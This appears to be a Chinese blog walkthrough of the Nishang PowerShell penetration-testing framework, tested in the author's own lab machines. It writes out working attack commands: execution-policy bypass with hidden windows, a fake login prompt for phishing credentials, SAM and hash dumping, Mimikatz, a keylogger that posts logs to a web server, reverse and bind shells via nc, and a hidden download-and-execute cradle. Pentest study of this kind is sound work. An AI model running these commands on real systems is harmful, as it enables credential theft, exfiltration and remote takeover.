细说——Nishang

最新推荐文章于 2024-02-06 22:55:03 发布
最新推荐文章于 2024-02-06 22:55:03 发布
阅读量811 收藏 7
点赞数 1
分类专栏： 工具 渗透测试 文章标签： windows
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44288604/article/details/120518239
版权

介绍

Powershell用于渗透测试其实早在多年前就已经被提出了，利用Powershell，攻击者可以在无需接触磁盘的情况下执行命令等，并且相较已经被大家广泛关注并防御的cmd而言，Powershell并非那么的引人瞩目。Nishang是基于PowerShell的渗透测试专用工具。它集成了框架、脚本和各种payload，能够帮助渗透测试人员在对Windows目标的全过程检测中使用，项目地址：https://github.com/samratashok/nishang
​

【基于隐私，以及实验效果，我会在虚拟机、vps、物理机上分别进行截图。算是解释一下截图不一致的问题】
【打❌的表示测试失败的，请知悉】

简单的安装与使用

powshell版本

根据其Github页面的描述，工具是使用在PowerShell v3之上的版本。可以使用Get-Host命令来查看当前的版本
win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0在这里插入图片描述
默认情况下的Server OS 对应的 Powershell的版本：

  • Windows 2008 R2 - Version 2
  • Windows 2012 - Version 3
  • Windows 2012 R2 - Version 4
  • Windows 2016 - Version 5

powshell策略

PowerShell默认的执行策略是Restricted，但是Restricted是不允许运行任何脚本的。你在PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组。我们需要修改策略组，在PowerShell下执行Set-ExecutionPolicy remotesigned（这需要在管理员的状态下执行），再次导入，就导入成功了。（警告不需要理会）
​

因为警告不相信导入成功的，可以继续执行命令来进一步验证。
导入Nishang模块

Import-Module .\nishang.psm1

获取Nishang的命令

get-command -Module nishang

在这里插入图片描述

关于powshell策略绕过，再啰嗦两句：
上面是基于我们在本地进行测试的情况下，如果是在真实的攻击场景之下，我们还是不宜去做一些全局策略的更改的，这里简单推荐几个Bypass执行策略的Tricks：

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted，也算是去更改了当前的全局策略
powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种，-Windowstyle hidden 可以让我们的执行无任何弹窗
PowerShell.exe -ExecutionPolicy Bypass -File

想了解更多姿势，大家可以看看Bypass执行策略的十五种方法：
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

信息收集

查看本机信息（全面）

这个脚本可以获取目标机器上大量的信息（FTP访问，进程，计算机配置信息，无线网络和设备的信息，Hosts信息等等非超丰富）。

Get-Information

在这里插入图片描述

查看主机信息(简洁)

Get-Host

在这里插入图片描述

检查是否为虚拟机

从这个脚本的名字就可以看出来，它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息（如：Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU）来识别。

Check-VM

在这里插入图片描述

登录弹窗

这个脚本是用来欺骗用户输入账号密码信息的。
Invoke-CredentialsPhish执行后会在目标机器上弹出一个Windows的登录框，并且无法关闭，只有输入正确的密码关闭，或者结束进程才能关掉它。十分流氓

Invoke-CredentialsPhish

在这里插入图片描述

Copy-VSS

这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来。
执行方式：

PS > Copy-VSS //将会直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:temp  //指定保存文件的路径（必须是已经存在的路径）

执行名命令之前的文件夹内容如下
在这里插入图片描述

执行名命令之后的文件夹内容如下，发现多了SAM和SYSTEM文件
在这里插入图片描述

Get-LSASecret❌

该脚本可以获取LSA信息，但是使用的前提当然是你已经成功提升了权限的情况下，通常和我们后面提权当中涉及到的Enable-DuplicateToken（帮助我们获得System权限）联合使用。
执行方式：

PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名

Get-WLAN-Keys❌

在Administrator的权限下，可以利用这个脚本来dump出WLAN文件的密钥信息。实质上，这个脚本就是利用了netsh wlan show profile name=" " key=clear来获取。

Get-WLAN-Keys

执行了，但不知道为啥没反应，运行脚本的文件夹下也没有出现新的文件😐
在这里插入图片描述

其他：
查看电脑wifi密码有多种方法，其中一种就是使用netsh，它的优势在于，可以查到电脑连接过的所有wifi的密码
解释一下netsh wlan show profile name=" " key=clear是个啥，举个例子如下
在这里插入图片描述

在这里插入图片描述

端口扫描（FireBuster FireListener）

FireBuster可以对内网进行扫描，它会把包发给FireListener
执行方式：

PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020

该脚本作者的Github上面还提供了一个Python版的监听端：
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

测试 ：

  1. 我们首先在我们的机器（Attacker）上面运行FireListener：
FireListener 130-150
  1. 受害者
FireBuster 192.168.40.1 130-150 -Verbose

在这里插入图片描述

说明：
关于这个端口扫描，没看出干啥用的，不明白攻击者的那条命令是干啥的，也不明白为毛两者是怎么联系起来的，网上没找到更详细的解答，抓包也很迷惑，有数据，但是追踪流数据为空，gg
在这里插入图片描述

主机发现（基于端口扫描）

指定端口

Invoke-PortScan -StartAddress 192.168.199.1 -EndAddress 192.168.199.254 -ScanPort -Ports 445

开始扫描：
在这里插入图片描述

扫描结果：
在这里插入图片描述

不指定端口

Invoke-PortScan -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ScanPort

在这里插入图片描述

键盘记录（Keylogger）❌

网上的文章基本一个样子，我没看懂，以及没看懂键盘记录为什么要检查URL页面中有没有 -MagicString后的字符串。我觉得键盘记录是个离线的过程，最多就是把结果传输给某台机器，看不懂检查URL是什么操作，官方解释文档让人望而生畏，https://github.com/samratashok/nishang/blob/master/Gather/Keylogger.ps1
​

Nishang下载解压之后有多个文件夹，进入到信息收集的Gather文件夹下，输入如下命令，查看帮助手册
Get-Help .\Keylogger.ps1 -full（网上写Get-Help .Keylogger.ps1 -full都是假的，相对路径写的不对）
​

执行方式：

PS > ./Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串，如果存在的话就停止使用记录。
PS > ./Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > ./Keylogger.ps1 -persist //实现持久化记录（重启后依然进行记录）
PS > ./Keylogger.ps1 //直接以这种方式来运行，键盘记录会保存在当前用户的Temp目录下key文件中

查看帮助手册
在这里插入图片描述

网上使用的URL和-MagicString，在帮助手册可以看到
-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis
在这里插入图片描述

键盘记录

  1. 首先执行 .\Keylogger.ps1
    在这里插入图片描述

  2. 输入URL和MagicString
    在这里插入图片描述

发现在当前用户的Temp目录下生成了Key的文件，这时我们使用nishang Utility中的Parse_Keys来解析
【发现个锤子，我是没发现】
在这里插入图片描述

  1. 下面使用网图，他们是这么做的

在这里插入图片描述

发现在当前用户的Temp目录下生成了Key的文件，这时我们使用nishang Utility中的Parse_Keys来解析

PS >Parse_Keys .key.log .parsed.txt

然后parsed.txt里面就是解析后的按键记录了
在这里插入图片描述

获取用户hash

这个脚本在Administrator的权限下，可以dump出密码哈希值。这个脚本来自于msf中powerdump，但做出了修改，使得我们不再需要System权限就可以dump了。

Get-PassHashes
Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果

在这里插入图片描述
在这里插入图片描述

然后解密hash：https://www.objectif-securite.ch/en/ophcrack

Invoke-MimikatzWdigestDowngrade❌

Dump出Windows 8.1 and Server 2012的系统用户密码。

  1. 执行Invoke-MimikatzWDigestDowngrade

windows会锁屏，如下
在这里插入图片描述

  1. 执行Get-Job | Receive-Job，爆红，失败
  2. 执行Get-Job发现一条执行失败的记录

网上都是刷一个链接，额，，解决办法[域渗透——Dump Clear-Text Password after KB2871997 installed]
在这里插入图片描述

抓取用户的明文密码(Invoke-Mimikatz)

Invoke-Mimikatz 不需要解释的神器

Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"

在这里插入图片描述

获取用户的密码提示信息(Get-PassHints)❌

这个脚本可以从Windows获得用户的密码的提示信息，需要有Administrator的权限来读取SAM hive。
命令：Get-PassHints
啥都没有，失败
在这里插入图片描述

桌面截图(Show-TargetScreen)

使用MJPEG传输目标机器的远程桌面的实时画面，在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器（如：Firefox）访问本机对应监听端口，即可在浏览器上面看到远端传输回来的实时画面。
​

攻击者kali：nc -nvlp 4456 | nc -nvlp 9000
受害者win2008：Show-TargetScreen -IPAddres 192.168.40.146 -Port 4456 -Reverse
​

受害者将自己的桌面传输到攻击者的4456端口，攻击者把监听转移到9000端口，用浏览器查看截图结果
在这里插入图片描述

在这里插入图片描述

反弹shell

关于shell的命令，如果不容易看懂，推荐一个神奇网站https://www.explainshell.com/
在这里插入图片描述

正向连接and反向连接

新手肯定都有这个疑问，什么时候用正向连接，什么时候用反向连接呢？其实很简单：
目标在外网而你在内网的时候，用正向连接。
目标在内网而你在外网的时候，用反向连接。
都在外网的时候，两种方式皆可。

基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell，基于TCP协议。
参数介绍：

-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
-Port <Int32> 选择-Reverse选项时是需要连接到的端口，选择-Bind选项时是需要监听的端口。
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接

正向连接

攻击者去主动连接受害者

  1. 受害者win2008监听本地端口4456

Invoke-PowerShellTcp -Bind -Port 4456

  1. 攻击者kali使用nc连接受害者

nc -nv 192.168.40.131 4456
在这里插入图片描述

反向连接

受害者主动连接攻击者

  1. 攻击者kali监听本地端口

nc -lvp 3333

  1. 受害者win2008主动连接攻击者

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.40.146 -Port 3333
在这里插入图片描述

基于UDP协议的PowerShell交互式Shell

Invoke-PowerShellUdp是Powershell交互式正向连接或反向连接shell，基于UDP协议。
​

基本通“基于TCP协议的Powershell交互式Shell”一样，只不过：

  1. nc的参数要加u指明是udp类型
  2. Invoke-PowerShellTcp修改为Invoke-PowerShellUdp

正向连接

正向连接，和上面用法相同，不过是基于UDP协议，所以nc命令就要改动一下了。

  1. 攻击者kali

nc -nvu 192.168.40.131 4456

  1. 受害者win2008

Invoke-PowerShellUdp -Bind -Port 4456
在这里插入图片描述

反向连接

  1. 攻击者kali监听本地端口

    nc -lvup 3333

  2. 受害者win2008主动连接攻击者

Invoke-PowerShellUdp -Reverse -IPAddress 192.168.40.146 -Port 3333
在这里插入图片描述

基于HTTP和HTTPS协议的PowerShell交互式Shell❌

个人感觉有点扯，在攻击机上执行Invoke-PoshRatHttp命令就很扯淡，没复现出来

  1. 在攻击机上执行下面的命令
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333
  1. 在目标机器执行以下命令
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.169.136:1234/connect'))

Antak Webshell

存放于nishangAntak-WebShell目录下，就是一个ASPX的大马，但是命令行是PowerShell，比单纯的cmd强大很多。功能齐全，日aspx的站必备的东西，通过这个Webshell可以编码、执行脚本，上传、下载文件。
在这里插入图片描述

待续

写的太痛苦了，鸽了鸽了，用到啥写啥吧
在这里插入图片描述

参考

PowerShell攻防进阶篇：nishang工具用法详解
【技术分享】Powershell 渗透测试工具-Nishang（一）
【技术分享】Powershell 渗透测试工具-Nishang（二）
内网神器-Nishang之信息收集篇(一)
内网神器-Nishang之信息收集篇(二)

lainwith
关注
专栏目录
nishang使用介绍
不忘初心，护天下安全！
11-12 770
Nishang是一款针 对。
NiShang.7z
09-05
服装商城项目，java开发，技术servlet+jsp；数据库文件请私聊
Final——Nishang
weixin_33928467的博客
06-23 296
一、介绍 Nishang是基于PowerShell的渗透测试专用工具，它集成了框架、脚本和各种payload，被广泛应用于渗透测试的各个阶段。 二、使用 下载脚本工具：Nishang Nishang需要我们的Powershell版本在v3以上才能使用。 查看当前Powershell版本：get-host 进入相应目录下 导入框架:Import-Module .\nishang.psm1...
nishang使用
weixin_48776804的博客
07-24 436
nishang使用
PowerShell攻防进阶篇：nishang工具用法详解
weixin_33795806的博客
09-14 932
本文讲的是PowerShell攻防进阶篇：nishang工具用法详解， 1.简介 Nishang是一款针对PowerShell的渗透工具。说到渗透工具，那自然便是老外开发的东西。国人开发的东西，也不是不行，只不过不被认可罢了。不管是谁开发的，既然跟渗透有关系，那自然是对我们有帮助的，学习就好。来源什么的都不重要。总之，nishang也是一款不可多得的好...
Nishang（一）
gclome的博客
08-02 953
《web安全攻防》学习笔记之Nishang 文章目录1、简介2、Nishang导入与帮助获取3、Nishang模块攻击实战1 Check-VM2 Invoke-CredentialsPhish3Copy-VSS4 FireBuster FireListener 扫描器5 Keylogger键盘记录6 Invoke Mimikatz7 Get-PassHashes8 获取用户的密码提示信息4、PowerShell隐藏通信隧道1基于Tcp协议的PowerShell交互式Shell 1、简介 Nishang是一款
powershell攻击指南——Nishang
willow_liang的博客
12-08 828
1.简介 Nishang是一款针 对PowerShell的渗透工具。它基于PowerShell的渗透测试专用工具，集成了框架、脚本和各种Payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本，被广泛应用于渗透测试的各个阶段。其下载地址为https://github.com/samratashok/nishang。Nishang要在powershell3.0以上的环境中才可以正常使用。 2.模块导入 Get-Command -Moudle nishang Nishang模块.
Nishang2022最新可用版本，稳定
06-28
Nishang是一个PowerShell攻击框架,它是Powershell攻击脚本和有效载荷的一个集合,Nishang被广泛应用于渗透测试的各个阶段 NiShang目录介绍 ActiveDirectory:活动目录 Antak-Webshell:在内存中执行PowerShell脚本,...
nishang, Nishang PowerShell测试和攻击性安全.zip
09-18
nishang, Nishang PowerShell测试和攻击性安全 Nishang是一个框架和脚本，它允许使用PowerShell安全性。穿透测试和红色组合的脚本。 在渗透测试的所有阶段，Nishang都是有用的。按 nikhil_mitt用法导入当前...
Nishang powershell框架——使用教程
W小哥
04-08 2121
项目下载地址：https://github.com/samratashok/nishang nishang目录列表 每个目录对应一个功能模块 导入模块nishang 必须导入nishang模块，才可以使用这个工具 Import-Module .\nishang psm1 首先打开powershell Import-Module .\nishang.psm1 初次导入，会有宏色字的提示，是因为windows官方做的一个安全策略导致 解决方法：把执行策略修改一下 Set-ExecutionPolicy R
nishang脚本的使用
最新发布
qq_63501912的博客
02-06 1484
nishang脚本的常规用法
Nishang 基础知识
weixin_46104215的博客
11-22 3387
Nishang 是一款针对 PowerShell 的渗透工具。它基于 PowerShell 的渗透测试专用工具，集成了框架、脚本和各种payload，包括了下载和执行、键盘记录、DNS、延时命令等脚本，被广泛应用于渗透测试的各个阶段 https://github.com/samratashok/nishang //下载地址 Nishang 要在 PowerShell3.0以上的环境中才可以正常使用，也就是在 Windows7默认下是有点小问题的，因为它自带的环境时...
Nishang 学习笔记
crowsec
03-02 2456
Nishang是基于PowerShell的后渗透测试专用工具，这里面有非常多的命令可以调用，虽然大部分情况存在av的情况下无法直接执行PowerShell，但是代码的思路值得我们学习！本文只列举了部分功能，全部功能各位师傅可以参考作者的说明文档！
nishang的介绍与使用
weixin_30315723的博客
04-20 433
0x01前言 Nishang是一个PowerShell攻击框架，它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段，本文主要介绍如何使用Nishang的各种姿势获取一个shell。 项目地址 :https://github.com/samratashok/nishang 0x02 Powershell交互式Shel...
Nishang：权限提升
weixin_46104215的博客
11-25 357
1.下载执行 Download_Execute 是 Nishang 中的下载执行脚本，常用于下载文本文件，然后将其转换为可执行文件执行 利用 Nishang 中的 exetotext.ps1 脚本将 Metasploit 生成的木马端 msf.exe 更改为文本文件 msf.txt ExetoText 2.Bypass UAC Invoke-PsUACme 模块使用了来自 UACME 项目的DLL来绕过UAC，作用是绕过UAC，比较全面 ...
内网神器-Nishang之信息收集篇(一)
qq_45434762的博客
07-05 654
Nishang简介Nishang是一个PowerShell攻击框架，它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段，本文主要介绍如何使...
Powershell---Nishang工具简介
weixin_43679009的博客
12-01 1396
Powershell—Nishang工具简介 Nishang简介及安装 Nishang是一款针对Powershell的渗透工具。他基于Powershell的渗透测试专用工具，集成了框架、脚本和各种Payload，包括了下载和执行、键盘记录、DNS、延时命令等脚本，被广泛应用于渗透测试是的各个阶段。 Nishang的安装 下载地址 Nishang要在Powershell 3.0以上的环境中才可以正常使用，也就是说在Windows7下默认是有点小问题的，因为win7下自带的环境是PowerSh
Nishang 模块攻击实战
weixin_46104215的博客
11-23 1957
windows 中已导入模块 nishang.psm1 1.Check-VM 检测当前机器是否为一台已知的虚拟机。通过检测已知的虚拟机的指纹信息（如 Hyper-V、VMware、Virtual PC、Virtual Box、Xen、QEMU）来识别。 2.Invoke-CredentialsPhish 作用：欺骗目标主机的用户，让用户输入密码 可更改脚本，不输入正确密码关闭不了对话框，只能强制结束进程。这样做成功得到明文的管理员账户密码 3.Copy-VSS 利用 Volum
基于powershell的渗透测试工具nishang
AmyBaby00的博客
11-22 622
本文为学习笔记，仅限学习交流。 不得利用、从事危害国家或人民安全、荣誉和利益等活动。 请参阅《中华人民共和国网络安全法》 Nishang是一款针对PowerShell的渗透工具。 先到github上去下载nishang，并解压 目标机下载nishang 地址:https://github.com/samratashok/nishang 攻击机下载icmpsh 地址：git clone https:...
黑客秘笈：英文第三版，渗透测试与安全评估指南
这部分还介绍了渗透测试中常用的一些工具，例如 Metasploit Framework —— 一个广泛使用的开源渗透测试框架，Cobalt Strike —— 一个高级的红队操作工具，以及 PowerShell Empire —— 一个基于 PowerShell 的后...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值